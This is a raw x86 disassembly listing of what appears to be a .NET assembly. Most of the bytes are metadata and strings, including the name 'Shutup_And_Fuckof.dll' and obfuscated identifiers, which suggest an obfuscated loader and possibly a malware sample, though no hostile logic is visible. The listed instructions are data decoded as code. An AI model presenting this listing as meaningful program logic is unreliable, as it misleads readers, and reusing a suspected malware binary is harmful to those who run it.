40779b:	01 06                	add    %eax,(%esi)
40779d:	00 08                	add    %cl,(%eax)
40779f:	23 00                	and    (%eax),%eax
4077a1:	00 08                	add    %cl,(%eax)
4077a3:	00 93 00 1a 03 3f    	add    %dl,0x3f031a00(%ebx)
4077a9:	01 06                	add    %eax,(%esi)
4077ab:	00 1c 23             	add    %bl,(%ebx,%eiz,1)
4077ae:	00 00                	add    %al,(%eax)
4077b0:	08 00                	or     %al,(%eax)
4077b2:	93                   	xchg   %eax,%ebx
4077b3:	00 41 03             	add    %al,0x3(%ecx)
4077b6:	1d 01 06 00 2c       	sbb    $0x2c000601,%eax
4077bb:	23 00                	and    (%eax),%eax
4077bd:	00 08                	add    %cl,(%eax)
4077bf:	00 93 00 75 03 51    	add    %dl,0x51037500(%ebx)
4077c5:	01 06                	add    %eax,(%esi)
4077c7:	00 48 23             	add    %cl,0x23(%eax)
4077ca:	00 00                	add    %al,(%eax)
4077cc:	08 00                	or     %al,(%eax)
4077ce:	93                   	xchg   %eax,%ebx
4077cf:	00 9c 03 1d 01 06 00 	add    %bl,0x6011d(%ebx,%eax,1)
4077d6:	58                   	pop    %eax
4077d7:	23 00                	and    (%eax),%eax
4077d9:	00 08                	add    %cl,(%eax)
4077db:	00 93 00 b8 03 1d    	add    %dl,0x1d03b800(%ebx)
4077e1:	01 06                	add    %eax,(%esi)
4077e3:	00 68 23             	add    %ch,0x23(%eax)
4077e6:	00 00                	add    %al,(%eax)
4077e8:	08 00                	or     %al,(%eax)
4077ea:	93                   	xchg   %eax,%ebx
4077eb:	00 df                	add    %bl,%bh
4077ed:	03 6c 01 06          	add    0x6(%ecx,%eax,1),%ebp
4077f1:	00 7c 23 00          	add    %bh,0x0(%ebx,%eiz,1)
4077f5:	00 08                	add    %cl,(%eax)
4077f7:	00 93 00 fe 03 78    	add    %dl,0x7803fe00(%ebx)
4077fd:	01 06                	add    %eax,(%esi)
4077ff:	00 88 23 00 00 08    	add    %cl,0x8000023(%eax)
407805:	00 93 00 2b 04 81    	add    %dl,-0x7efbd500(%ebx)
40780b:	01 06                	add    %eax,(%esi)
40780d:	00 98 23 00 00 08    	add    %bl,0x8000023(%eax)
407813:	00 93 00 43 04 81    	add    %dl,-0x7efbbd00(%ebx)
407819:	01 06                	add    %eax,(%esi)
40781b:	00 00                	add    %al,(%eax)
40781d:	00 01                	add    %al,(%ecx)
40781f:	00 e3                	add    %ah,%bl
407821:	01 00                	add    %eax,(%eax)
407823:	00 02                	add    %al,(%edx)
407825:	00 e5                	add    %ah,%ch
407827:	01 00                	add    %eax,(%eax)
407829:	00 01                	add    %al,(%ecx)
40782b:	00 09                	add    %cl,(%ecx)
40782d:	02 00                	add    (%eax),%al
40782f:	00 02                	add    %al,(%edx)
407831:	00 0e                	add    %cl,(%esi)
407833:	02 00                	add    (%eax),%al
407835:	00 01                	add    %al,(%ecx)
407837:	00 e3                	add    %ah,%bl
407839:	01 09                	add    %ecx,(%ecx)
40783b:	00 5c 00 13          	add    %bl,0x13(%eax,%eax,1)
40783f:	00 29                	add    %ch,(%ecx)
407841:	00 5c 00 37          	add    %bl,0x37(%eax,%eax,1)
407845:	00 31                	add    %dh,(%ecx)
407847:	00 5c 00 44          	add    %bl,0x44(%eax,%eax,1)
40784b:	00 41 00             	add    %al,0x0(%ecx)
40784e:	5c                   	pop    %esp
40784f:	00 50 00             	add    %dl,0x0(%eax)
407852:	49                   	dec    %ecx
407853:	00 5c 00 7f          	add    %bl,0x7f(%eax,%eax,1)
407857:	00 59 00             	add    %bl,0x0(%ecx)
40785a:	5c                   	pop    %esp
40785b:	00 7f 00             	add    %bh,0x0(%edi)
40785e:	61                   	popa
40785f:	00 5c 00 7f          	add    %bl,0x7f(%eax,%eax,1)
407863:	00 81 00 5c 00 37    	add    %al,0x37005c00(%ecx)
407869:	00 89 00 5b 02 0b    	add    %cl,0xb025b00(%ecx)
40786f:	01 71 00             	add    %esi,0x0(%ecx)
407872:	a2 02 22 01 a1       	mov    %al,0xa1012202
407877:	00 f3                	add    %dh,%bl
407879:	02 13                	add    (%ebx),%dl
40787b:	00 a1 00 12 03 39    	add    %ah,0x39031200(%ecx)
407881:	01 a1 00 38 03 46    	add    %esp,0x46033800(%ecx)
407887:	01 a1 00 54 03 4c    	add    %esp,0x4c035400(%ecx)
40788d:	01 b1 00 88 03 59    	add    %esi,0x59038800(%ecx)
407893:	01 71 00             	add    %esi,0x0(%ecx)
407896:	af                   	scas   %es:(%edi),%eax
407897:	03 62 01             	add    0x1(%edx),%esp
40789a:	b9 00 d6 03 68       	mov    $0x6803d600,%ecx
40789f:	01 51 00             	add    %edx,0x0(%ecx)
4078a2:	f2 03 72 01          	repnz add 0x1(%edx),%esi
4078a6:	c1 00 19             	roll   $0x19,(%eax)
4078a9:	04 7c                	add    $0x7c,%al
4078ab:	01 c1                	add    %eax,%ecx
4078ad:	00 3e                	add    %bh,(%esi)
4078af:	04 37                	add    $0x37,%al
4078b1:	00 69 00             	add    %ch,0x0(%ecx)
4078b4:	5c                   	pop    %esp
4078b5:	00 37                	add    %dh,(%edi)
4078b7:	00 2e                	add    %ch,(%esi)
4078b9:	00 2b                	add    %ch,(%ebx)
4078bb:	00 55 00             	add    %dl,0x0(%ebp)
4078be:	2e 00 33             	add    %dh,%cs:(%ebx)
4078c1:	00 84 00 2e 00 3b 00 	add    %al,0x3b002e(%eax,%eax,1)
4078c8:	91                   	xchg   %eax,%ecx
4078c9:	00 2e                	add    %ch,(%esi)
4078cb:	00 23                	add    %ah,(%ebx)
4078cd:	00 4a 00             	add    %cl,0x0(%edx)
4078d0:	2e 00 0b             	add    %cl,%cs:(%ebx)
4078d3:	00 01                	add    %al,(%ecx)
4078d5:	00 2e                	add    %ch,(%esi)
4078d7:	00 13                	add    %dl,(%ebx)
4078d9:	00 18                	add    %bl,(%eax)
4078db:	00 2e                	add    %ch,(%esi)
4078dd:	00 1b                	add    %bl,(%ebx)
4078df:	00 3b                	add    %bh,(%ebx)
4078e1:	00 e2                	add    %ah,%dl
4078e3:	00 f0                	add    %dh,%al
4078e5:	00 00                	add    %al,(%eax)
4078e7:	01 04 80             	add    %eax,(%eax,%eax,4)
4078ea:	00 00                	add    %al,(%eax)
4078ec:	01 00                	add    %eax,(%eax)
4078fa:	01 00                	add    %eax,(%eax)
4078fc:	00 00                	add    %al,(%eax)
4078fe:	04 00                	add    $0x0,%al
407908:	00 00                	add    %al,(%eax)
40790a:	0a 00                	or     (%eax),%al
40790c:	53                   	push   %ebx
40790d:	00 00                	add    %al,(%eax)
40790f:	00 00                	add    %al,(%eax)
407911:	00 04 00             	add    %al,(%eax,%eax,1)
40791c:	00 00                	add    %al,(%eax)
40791e:	0a 00                	or     (%eax),%al
407920:	48                   	dec    %eax
407921:	02 00                	add    (%eax),%al
407923:	00 00                	add    %al,(%eax)
407925:	00 04 00             	add    %al,(%eax,%eax,1)
407930:	00 00                	add    %al,(%eax)
407932:	0a 00                	or     (%eax),%al
407934:	67 00 00             	add    %al,(%bx,%si)
407937:	00 00                	add    %al,(%eax)
407939:	00 00                	add    %al,(%eax)
40793b:	53                   	push   %ebx
40793c:	68 75 74 75 70       	push   $0x70757475
407941:	5f                   	pop    %edi
407942:	41                   	inc    %ecx
407943:	6e                   	outsb  %ds:(%esi),(%dx)
407944:	64 5f                	fs pop %edi
407946:	46                   	inc    %esi
407947:	75 63                	jne    0x4079ac
407949:	6b 6f 66 00          	imul   $0x0,0x66(%edi),%ebp
40794d:	43                   	inc    %ebx
40794e:	6f                   	outsl  %ds:(%esi),(%dx)
40794f:	6d                   	insl   (%dx),%es:(%edi)
407950:	70 69                	jo     0x4079bb
407952:	6c                   	insb   (%dx),%es:(%edi)
407953:	61                   	popa
407954:	74 69                	je     0x4079bf
407956:	6f                   	outsl  %ds:(%esi),(%dx)
407957:	6e                   	outsb  %ds:(%esi),(%dx)
407958:	52                   	push   %edx
407959:	65 6c                	gs insb (%dx),%es:(%edi)
40795b:	61                   	popa
40795c:	78 61                	js     0x4079bf
40795e:	74 69                	je     0x4079c9
407960:	6f                   	outsl  %ds:(%esi),(%dx)
407961:	6e                   	outsb  %ds:(%esi),(%dx)
407962:	73 41                	jae    0x4079a5
407964:	74 74                	je     0x4079da
407966:	72 69                	jb     0x4079d1
407968:	62 75 74             	bound  %esi,0x74(%ebp)
40796b:	65 00 53 79          	add    %dl,%gs:0x79(%ebx)
40796f:	73 74                	jae    0x4079e5
407971:	65 6d                	gs insl (%dx),%es:(%edi)
407973:	2e 52                	cs push %edx
407975:	75 6e                	jne    0x4079e5
407977:	74 69                	je     0x4079e2
407979:	6d                   	insl   (%dx),%es:(%edi)
40797a:	65 2e 43             	gs cs inc %ebx
40797d:	6f                   	outsl  %ds:(%esi),(%dx)
40797e:	6d                   	insl   (%dx),%es:(%edi)
40797f:	70 69                	jo     0x4079ea
407981:	6c                   	insb   (%dx),%es:(%edi)
407982:	65 72 53             	gs jb  0x4079d8
407985:	65 72 76             	gs jb  0x4079fe
407988:	69 63 65 73 00 6d 73 	imul   $0x736d0073,0x65(%ebx),%esp
40798f:	63 6f 72             	arpl   %ebp,0x72(%edi)
407992:	6c                   	insb   (%dx),%es:(%edi)
407993:	69 62 00 2e 63 74 6f 	imul   $0x6f74632e,0x0(%edx),%esp
40799a:	72 00                	jb     0x40799c
40799c:	56                   	push   %esi
40799d:	6f                   	outsl  %ds:(%esi),(%dx)
40799e:	69 64 00 53 79 73 74 	imul   $0x65747379,0x53(%eax,%eax,1),%esp
4079a5:	65
4079a6:	6d                   	insl   (%dx),%es:(%edi)
4079a7:	00 49 6e             	add    %cl,0x6e(%ecx)
4079aa:	74 33                	je     0x4079df
4079ac:	32 00                	xor    (%eax),%al
4079ae:	42                   	inc    %edx
4079af:	6f                   	outsl  %ds:(%esi),(%dx)
4079b0:	6f                   	outsl  %ds:(%esi),(%dx)
4079b1:	6c                   	insb   (%dx),%es:(%edi)
4079b2:	65 61                	gs popa
4079b4:	6e                   	outsb  %ds:(%esi),(%dx)
4079b5:	00 52 75             	add    %dl,0x75(%edx)
4079b8:	6e                   	outsb  %ds:(%esi),(%dx)
4079b9:	74 69                	je     0x407a24
4079bb:	6d                   	insl   (%dx),%es:(%edi)
4079bc:	65 43                	gs inc %ebx
4079be:	6f                   	outsl  %ds:(%esi),(%dx)
4079bf:	6d                   	insl   (%dx),%es:(%edi)
4079c0:	70 61                	jo     0x407a23
4079c2:	74 69                	je     0x407a2d
4079c4:	62 69 6c             	bound  %ebp,0x6c(%ecx)
4079c7:	69 74 79 41 74 74 72 	imul   $0x69727474,0x41(%ecx,%edi,2),%esi
4079ce:	69
4079cf:	62 75 74             	bound  %esi,0x74(%ebp)
4079d2:	65 00 44 65 62       	add    %al,%gs:0x62(%ebp,%eiz,2)
4079d7:	75 67                	jne    0x407a40
4079d9:	67 61                	addr16 popa
4079db:	62 6c 65 41          	bound  %ebp,0x41(%ebp,%eiz,2)
4079df:	74 74                	je     0x407a55
4079e1:	72 69                	jb     0x407a4c
4079e3:	62 75 74             	bound  %esi,0x74(%ebp)
4079e6:	65 00 53 79          	add    %dl,%gs:0x79(%ebx)
4079ea:	73 74                	jae    0x407a60
4079ec:	65 6d                	gs insl (%dx),%es:(%edi)
4079ee:	2e 44                	cs inc %esp
4079f0:	69 61 67 6e 6f 73 74 	imul   $0x74736f6e,0x67(%ecx),%esp
4079f7:	69 63 73 00 44 65 62 	imul   $0x62654400,0x73(%ebx),%esp
4079fe:	75 67                	jne    0x407a67
407a00:	67 69 6e 67 4d 6f 64 	imul   $0x65646f4d,0x67(%bp),%ebp
407a07:	65
407a08:	73 00                	jae    0x407a0a
407a0a:	43                   	inc    %ebx
407a0b:	6f                   	outsl  %ds:(%esi),(%dx)
407a0c:	6d                   	insl   (%dx),%es:(%edi)
407a0d:	56                   	push   %esi
407a0e:	69 73 69 62 6c 65 41 	imul   $0x41656c62,0x69(%ebx),%esi
407a15:	74 74                	je     0x407a8b
407a17:	72 69                	jb     0x407a82
407a19:	62 75 74             	bound  %esi,0x74(%ebp)
407a1c:	65 00 53 79          	add    %dl,%gs:0x79(%ebx)
407a20:	73 74                	jae    0x407a96
407a22:	65 6d                	gs insl (%dx),%es:(%edi)
407a24:	2e 52                	cs push %edx
407a26:	75 6e                	jne    0x407a96
407a28:	74 69                	je     0x407a93
407a2a:	6d                   	insl   (%dx),%es:(%edi)
407a2b:	65 2e 49             	gs cs dec %ecx
407a2e:	6e                   	outsb  %ds:(%esi),(%dx)
407a2f:	74 65                	je     0x407a96
407a31:	72 6f                	jb     0x407aa2
407a33:	70 53                	jo     0x407a88
407a35:	65 72 76             	gs jb  0x407aae
407a38:	69 63 65 73 00 47 75 	imul   $0x75470073,0x65(%ebx),%esp
407a3f:	69 64 41 74 74 72 69 	imul   $0x62697274,0x74(%ecx,%eax,2),%esp
407a46:	62
407a47:	75 74                	jne    0x407abd
407a49:	65 00 53 74          	add    %dl,%gs:0x74(%ebx)
407a4d:	72 69                	jb     0x407ab8
407a4f:	6e                   	outsb  %ds:(%esi),(%dx)
407a50:	67 00 41 73          	add    %al,0x73(%bx,%di)
407a54:	73 65                	jae    0x407abb
407a56:	6d                   	insl   (%dx),%es:(%edi)
407a57:	62 6c 79 46          	bound  %ebp,0x46(%ecx,%edi,2)
407a5b:	69 6c 65 56 65 72 73 	imul   $0x69737265,0x56(%ebp,%eiz,2),%ebp
407a62:	69
407a63:	6f                   	outsl  %ds:(%esi),(%dx)
407a64:	6e                   	outsb  %ds:(%esi),(%dx)
407a65:	41                   	inc    %ecx
407a66:	74 74                	je     0x407adc
407a68:	72 69                	jb     0x407ad3
407a6a:	62 75 74             	bound  %esi,0x74(%ebp)
407a6d:	65 00 53 79          	add    %dl,%gs:0x79(%ebx)
407a71:	73 74                	jae    0x407ae7
407a73:	65 6d                	gs insl (%dx),%es:(%edi)
407a75:	2e 52                	cs push %edx
407a77:	65 66 6c             	gs data16 insb (%dx),%es:(%edi)
407a7a:	65 63 74 69 6f       	arpl   %esi,%gs:0x6f(%ecx,%ebp,2)
407a7f:	6e                   	outsb  %ds:(%esi),(%dx)
407a80:	00 54 61 72          	add    %dl,0x72(%ecx,%eiz,2)
407a84:	67 65 74 46          	addr16 gs je 0x407ace
407a88:	72 61                	jb     0x407aeb
407a8a:	6d                   	insl   (%dx),%es:(%edi)
407a8b:	65 77 6f             	gs ja  0x407afd
407a8e:	72 6b                	jb     0x407afb
407a90:	41                   	inc    %ecx
407a91:	74 74                	je     0x407b07
407a93:	72 69                	jb     0x407afe
407a95:	62 75 74             	bound  %esi,0x74(%ebp)
407a98:	65 00 53 79          	add    %dl,%gs:0x79(%ebx)
407a9c:	73 74                	jae    0x407b12
407a9e:	65 6d                	gs insl (%dx),%es:(%edi)
407aa0:	2e 52                	cs push %edx
407aa2:	75 6e                	jne    0x407b12
407aa4:	74 69                	je     0x407b0f
407aa6:	6d                   	insl   (%dx),%es:(%edi)
407aa7:	65 2e 56             	gs cs push %esi
407aaa:	65 72 73             	gs jb  0x407b20
407aad:	69 6f 6e 69 6e 67 00 	imul   $0x676e69,0x6e(%edi),%ebp
407ab4:	53                   	push   %ebx
407ab5:	68 75 74 75 70       	push   $0x70757475
407aba:	5f                   	pop    %edi
407abb:	41                   	inc    %ecx
407abc:	6e                   	outsb  %ds:(%esi),(%dx)
407abd:	64 5f                	fs pop %edi
407abf:	46                   	inc    %esi
407ac0:	75 63                	jne    0x407b25
407ac2:	6b 6f 66 2e          	imul   $0x2e,0x66(%edi),%ebp
407ac6:	64 6c                	fs insb (%dx),%es:(%edi)
407ac8:	6c                   	insb   (%dx),%es:(%edi)
407ac9:	00 3c 4d 6f 64 75 6c 	add    %bh,0x6c75646f(,%ecx,2)
407ad0:	65 3e 00 56 4c       	gs add %dl,%ds:0x4c(%esi)
407ad5:	68 68 4b 70 75       	push   $0x75704b68
407ada:	62 6e 71             	bound  %ebp,0x71(%esi)
407add:	35 59 37 34 6b       	xor    $0x6b343759,%eax
407ae2:	6f                   	outsl  %ds:(%esi),(%dx)
407ae3:	35 36 00 4f 62       	xor    $0x624f0036,%eax
407ae8:	6a 65                	push   $0x65
407aea:	63 74 00 42          	arpl   %esi,0x42(%eax,%eax,1)
407aee:	00 41 00             	add    %al,0x0(%ecx)
407af1:	61                   	popa
407af2:	6b 64 6a 61 7a       	imul   $0x7a,0x61(%edx,%ebp,2),%esp
407af7:	61                   	popa
407af8:	64 61                	fs popa
407afa:	64 61                	fs popa
407afc:	66 61                	popaw
407afe:	77 64                	ja     0x407b64
407b00:	61                   	popa
407b01:	77 64                	ja     0x407b67
407b03:	61                   	popa
407b04:	77 64                	ja     0x407b6a
407b06:	61                   	popa
407b07:	64 61                	fs popa
407b09:	64 61                	fs popa
407b0b:	77 5f                	ja     0x407b6c
407b0d:	62 00                	bound  %eax,(%eax)
407b0f:	41                   	inc    %ecx
407b10:	73 73                	jae    0x407b85
407b12:	65 6d                	gs insl (%dx),%es:(%edi)
407b14:	62 6c 79 00          	bound  %ebp,0x0(%ecx,%edi,2)
407b18:	42                   	inc    %edx
407b19:	79 74                	jns    0x407b8f
407b1b:	65 00 58 00          	add    %bl,%gs:0x0(%eax)
407b1f:	4b                   	dec    %ebx
407b20:	00 44 61 6b          	add    %al,0x6b(%ecx,%eiz,2)
407b24:	64 6a 61             	fs push $0x61
407b27:	7a 61                	jp     0x407b8a
407b29:	64 61                	fs popa
407b2b:	64 61                	fs popa
407b2d:	66 61                	popaw